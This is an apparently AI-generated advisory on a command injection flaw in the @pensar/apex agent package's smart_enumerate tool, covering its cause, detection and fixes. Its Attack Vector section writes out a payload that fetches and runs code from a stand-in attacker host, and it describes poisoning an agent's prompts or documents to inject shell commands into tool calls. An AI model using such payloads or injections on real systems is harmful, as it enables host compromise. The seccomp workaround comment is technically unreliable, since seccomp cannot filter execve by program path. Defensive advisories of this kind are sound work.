CVE-2026-36044 Overview
CVE-2026-36044 is an OS command injection vulnerability affecting the @pensar/apex Node.js package in versions <= 0.0.58. The flaw resides in the createSmartEnumerateTool() function within src/core/agent/tools.ts. The function concatenates unsanitized user-controlled values from the extensions array and url parameter into a shell command passed to Node.js child_process.exec(). Because exec() spawns a shell, shell metacharacters in those values are interpreted by the host shell. Attackers who can influence inputs to the smart_enumerate tool gain arbitrary OS command execution with the privileges of the running Node.js process.
Critical Impact
Successful exploitation grants attackers arbitrary command execution on the host running @pensar/apex, leading to full process compromise, data theft, and lateral movement.
Affected Products
- @pensar/apex npm package versions <= 0.0.58
- Applications embedding the smart_enumerate agent tool
- Node.js environments invoking createSmartEnumerateTool()
Discovery Timeline
- 2026-05-27 - CVE-2026-36044 published to NVD
- 2026-05-27 - Last updated in NVD database
Technical Details for CVE-2026-36044
Vulnerability Analysis
The vulnerability is a classic OS command injection [CWE-78] in a Node.js agent tool. The createSmartEnumerateTool() factory builds a shell command string by concatenating two attacker-influenced inputs: items from the extensions array and the url parameter. The composed string is then passed to child_process.exec(), which delegates parsing to /bin/sh (or cmd.exe on Windows). Any shell metacharacter such as ;, &&, |, `, or $() embedded in those inputs terminates the intended command and starts a new one. The resulting attacker-controlled process inherits the privileges of the Node.js runtime.
Root Cause
The root cause is unsafe command construction. The code uses string concatenation to assemble a shell command and invokes child_process.exec() instead of the safer child_process.execFile() or spawn() with an argument array. No allow-listing, escaping, or input validation is applied to the extensions or url values before they reach the shell.
Attack Vector
An attacker triggers the flaw by supplying crafted values to the smart_enumerate tool. In agentic AI deployments where tool inputs are derived from prompts, documents, or remote responses, an attacker can poison those sources to inject shell metacharacters. For example, supplying a url value of https://example.com; curl http://attacker/x | sh causes the appended shell payload to execute after the legitimate command. The same technique applies to any entry in the extensions array. A public proof of concept is published as a GitHub Gist Exploit Example.
No verified code examples are reproduced here. See the NPM Package Overview: @pensar/apex and the linked gist for technical details.
Detection Methods for CVE-2026-36044
Indicators of Compromise
- Child processes such as sh, bash, curl, wget, nc, or powershell.exe spawned by a Node.js process that loaded @pensar/apex.
- Outbound network connections from the Node.js process to unexpected hosts shortly after smart_enumerate tool invocation.
- Log entries showing shell metacharacters (;, &&, |, `, $() in url or extensions parameters passed to the agent.
Detection Strategies
- Monitor process lineage for Node.js parents spawning shell interpreters or networking utilities.
- Inspect application logs for tool-call payloads containing shell metacharacters in extensions or url fields.
- Apply runtime application self-protection or eBPF-based syscall tracing to flag execve calls originating from the agent process.
Monitoring Recommendations
- Alert on new outbound connections from Node.js workloads that historically only made HTTPS API calls.
- Track file writes by Node.js processes into /tmp, /var/tmp, or user home directories that may stage secondary payloads.
- Aggregate agent tool invocations into a SIEM and baseline expected smart_enumerate arguments.
How to Mitigate CVE-2026-36044
Immediate Actions Required
- Inventory all applications that depend on @pensar/apex and identify versions <= 0.0.58.
- Disable or gate the smart_enumerate tool until a fixed release is verified.
- Restrict the privileges of the Node.js process running the agent and run it inside a sandbox or container with no shell access.
Patch Information
At the time of publication, no fixed version is referenced in the NVD record. Monitor the NPM Package Overview: @pensar/apex for a release that removes the unsafe child_process.exec() call in createSmartEnumerateTool(). Upgrade to the patched version as soon as it is available.
Workarounds
- Wrap the smart_enumerate tool with an input validator that rejects any url or extensions value containing shell metacharacters.
- Fork the package and replace child_process.exec() with child_process.execFile() using an argument array so inputs are not parsed by a shell.
- Run the agent under a non-privileged user account with seccomp or AppArmor profiles that deny execve of shell binaries.
# Configuration example: deny shell spawning from the Node.js agent using a minimal seccomp profile
# (apply via Docker --security-opt seccomp=node-agent.json)
# node-agent.json should set defaultAction SCMP_ACT_ALLOW and add SCMP_ACT_ERRNO for execve
# when argv[0] resolves to /bin/sh, /bin/bash, or /usr/bin/curl
runuser -u apexsvc -- node --disallow-code-generation-from-strings ./server.js
Disclaimer: This content was generated using AI. While we strive for accuracy, please verify critical information with official sources.
